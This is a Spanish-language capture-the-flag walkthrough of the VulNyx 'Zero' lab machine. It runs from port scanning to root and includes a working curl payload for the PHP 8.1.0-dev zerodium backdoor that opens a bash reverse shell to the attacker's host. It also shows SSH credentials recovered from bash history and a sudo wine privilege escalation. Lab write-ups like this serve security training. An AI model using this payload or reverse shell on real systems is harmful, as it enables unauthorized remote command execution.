Information

Zero es una máquina Linux de dificultad baja de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.


Enumeration

Nmap

TCP

❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 09:29 CEST
Nmap scan report for 192.168.1.104
Host is up (0.000096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
❯ nmap -sVC -p22,80,8080 192.168.1.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 09:30 CEST
Nmap scan report for 192.168.1.104
Host is up (0.00036s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.56 (Debian)
8080/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Shell (root) [Docker]

80/TCP (HTTP)

Site

Directory Fuzzing
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.104
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.104
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 278]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================

8080/TCP (HTTP)

Site

PHP/8.1.0-dev

En los headers enumero la versión (PHP/8.1.0-dev) de PHP.

❯ curl -I "http://192.168.1.104:8080"
HTTP/1.1 200 OK
Host: 192.168.1.104:8080
Date: Sat, 17 May 2025 07:39:20 GMT
Connection: close
X-Powered-By: PHP/8.1.0-dev
Content-type: text/html; charset=UTF-8

Encuentro el siguiente artículo y compruebo que dicha versión de PHP tiene instalado un backdoor.

Tras revisar brevemente el método de explotación, doy con el siguiente exploit, donde se puede observar que, al enviar la cabecera User-Agentt: zerodiumsystem('<cmd>');, el servidor interpreta y ejecuta el comando especificado en el parámetro cmd.

Reverse Shell

Intento obtener una reverse shell.

❯ curl -H "User-Agentt: zerodiumsystem(\"bash -c 'bash -i >& /dev/tcp/192.168.1.5/443 0>&1'\");" 'http://192.168.1.104:8080'

Obtengo la shell como usuario root.

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.104] 58108
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6ad9beefaa2d:/var/www/html# id ; hostname
id ; hostname
uid=0(root) gid=0(root) groups=0(root)
6ad9beefaa2d

El hostname y el archivo .dockerenv en la raiz del sistema, dan indicios que estamos dentro de un contenedor de Docker.

root@6ad9beefaa2d:/# hostname
6ad9beefaa2d

root@6ad9beefaa2d:/# ls -la /
ls -la /
total 84
drwxr-xr-x   1 root root 4096 May  5  2023 .
drwxr-xr-x   1 root root 4096 May  5  2023 ..
-rwxr-xr-x   1 root root    0 May  5  2023 .dockerenv

En el archivo .bash_history, encuentro credenciales del usuario liam.

root@6ad9beefaa2d:~# ls -la
ls -la
total 24
drwx------ 1 root root 4096 May  5  2023 .
drwxr-xr-x 1 root root 4096 May  5  2023 ..
-rw-r--r-- 1 root root   47 May  5  2023 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root 4096 May  5  2023 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile

root@6ad9beefaa2d:~# cat .bash_history
cat .bash_history
sshpass -p 'L14mD0ck3Rp0w4' ssh liam@127.0.0.1

Shell (liam)

22/TCP (SSH)

Connect

Accedo al sistema como usuario liam con las credenciales obtenidas.

❯ sshpass -p "L14mD0ck3Rp0w4" ssh liam@192.168.1.104 -o StrictHostKeyChecking=no 2>/dev/null
liam@zero:~$ id ; hostname
uid=1000(liam) gid=1000(liam) grupos=1000(liam)
zero

Privilege Escalation

Enumeration

Sudo

El usuario liam puede ejecutar como root el binario wine con sudo.

liam@zero:~$ sudo -l
Matching Defaults entries for liam on zero:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User liam may run the following commands on zero:
    (root) NOPASSWD: /usr/bin/wine

Abuse

Binary (wine)

Ejecuto wine llamando a una cmd.exe y me convierto en usuario root.

liam@zero:~$ sudo -u root /usr/bin/wine cmd.exe
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first.  as root, please
execute "dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32"
Microsoft Windows 6.1.7601

Z:\home\liam>echo %USERNAME% & hostname
root
ZERO

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

Z:\>type Z:\home\liam\user.txt  
fa2cd**************************
Z:\>type Z:\root\root.txt
e9100**************************

Hasta aquí la resolución de la máquina Zero de VulNyx.

Happy Hacking! 🙂